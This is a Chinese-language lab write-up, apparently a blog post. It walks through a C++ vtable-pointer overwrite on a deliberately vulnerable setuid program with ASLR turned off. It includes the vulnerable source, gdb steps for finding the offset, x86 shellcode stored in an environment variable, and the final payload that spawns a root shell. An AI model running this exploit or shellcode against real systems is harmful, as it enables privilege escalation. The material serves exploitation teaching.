漏洞分析Lab之Vtable

目录

【漏洞代码】

【代码注解】

【攻击步骤】


【漏洞代码

// g++ -z execstack -o vtable vtable.cpp
#include <iostream>
#include <cstring>
#include <unistd.h>
class Number
{
public:
    Number(int x) : number(x) {
    }//Number(int x):number(x){}是构造函数,在这个构造函数里使number=x
    void setAnnotation(char* a) {
        memcpy(annotation, a, strlen(a));
    }

    virtual int operator+(Number& r) {
        return number + r.number;
    }
private:
    char annotation[100];
    int number;
};


int main(int argc, char** argv)
{
    if (argc < 2) _exit(1);

    Number* x = new Number(5);
    Number* y = new Number(6);
    Number& five = *x, & six = *y;

    five.setAnnotation(argv[1]);

    return six + five;}

【代码注解】

第7~16行是Number类的公有部分,第8行Number(int x):number(x){}是构造函数,在这个构造函数里使number=x;10~12行是将setAnnotation函数的参数字符串赋值给私有变量annotation;


第14~16行,C++中,当类中声明虚函数(virtual 关键字)时,编译器会在类中生成一个虚函数表(VTABLE), 虚函数表是一个存储该类的所有成员函数指针的数据结构,虚函数也会被编译器放入虚函数表中。存在虚函数时,每个对象都有一个虚指针(VPTR),它指向 VTABLE,在实现多态的过程中,父类和派生类都有 VPTR 指针。此实验用的是 g++编译器,它把 VPTR 放在类的开头。该函数的功能是返回一个n1.number+n2.number


 第23~33行功能如下图所示;

                                               


 vtable.cpp 中实例化了两个对象,我们可以利用第一个对象的缓冲区溢出,将第二个对象的 VPTR 覆盖,使它指向我们自己设计的 vtable。


【攻击步骤】

1.关闭ASLR,编译并赋权

sudo sysctl -w kernel.randomize_va_space=0

g++ -z execstack -o vtable vtable.cpp

sudo chown root:root vtable

sudo chmod 4755 vtable

           

         ​​​​​​​​​​​​​

                      


2.gdb调试vtable,反汇编main函数: 

gdb vtable

disas main

                  

【注解】

(1)_Znwj@plt 函数以及_ZN6NumberC2Ei函数都被调用了两次,猜测是两次new函数和两次构造类的函数;

(2)在每一次调用_Znwj@plt 函数之前,esp都生长了0x6c(108)个字节,而Number类里需要开辟的空间是annotation字符数组的100个字节和一个4字节的int变量和4个字节的vptr指针,所以_Znwj@plt 函数应该是new函数在为Number开辟空间;

(3)两次调用_ZN6NumberC2Ei函数之前,0x5和0x6分别被给入了esp+4个字节的空间,而int型就是4个字节,结合vtable.cpp代码可以得出_ZN6NumberC2Ei函数是构造类的函数,经过如下图验证,猜想正确;

                                  

(4)在每一次调用完_Znwj@plt 函数后,接下来mov %eax,%ebx是将新的Number类对象的首地址放到eax中,而根据前面对代码的注解,类中声明了虚函数,所以两个新对象都会有自己的vptr并且vptr指向对象,由此可知,eax里存放的对象首地址也是vptr的地址。


3.找两个vptr之间的距离,以便后续覆盖

 (1)在两次_Znwj@plt 函数被调用结束后的位置下断点0x0804863c和0x0804865e;

b *0x0804863c

b *0x0804865e

                                                                                      


(2)标记annotation的前四个字节去运行,分别查看两次调用完成后eax的内容;得到两个首地址是0x804b008和0x804b078

r aaaa

info reg eax

c

info reg eax

                                         


(3)在setAnnotation调用完之后0x0804869c下断点,此时,标记的aaaa写入了缓冲区,便于观察

                     

 b *0x0804869c

c


(4)查看从第一个首地址开始的一段内存,我们发现第二个vptr的位置距离有108个字节,所以如果要把第二个vptr覆盖成自我们自己的vtable,我们可以创建一个shellcode的环境变量,并把该环境变量的地址写入annotaion数组,并把annotation数组的首地址0x0804b00c放在第2个vptr上;

x/100xw 0x804b008


4.攻击 

(1)把shellcode放入环境变量LAB4;

 export LAB4=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'") 


(2)编写程序获得环境变量LAB4的地址0xbffffa7e,该程序名需要和vtable一样长;

#include <stdio.h>

#include <stdlib.h>

int main(void)

{

    printf("LAB4 address: %p ", getenv("LAB4"));

}


(3)发起攻击,攻击成功。

vtable $(python -c "print '\x7e\xfa\xff\xbf'+'\x61\x61\x61\x61'*26+'\x0c\xb0\x04\x08'")

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值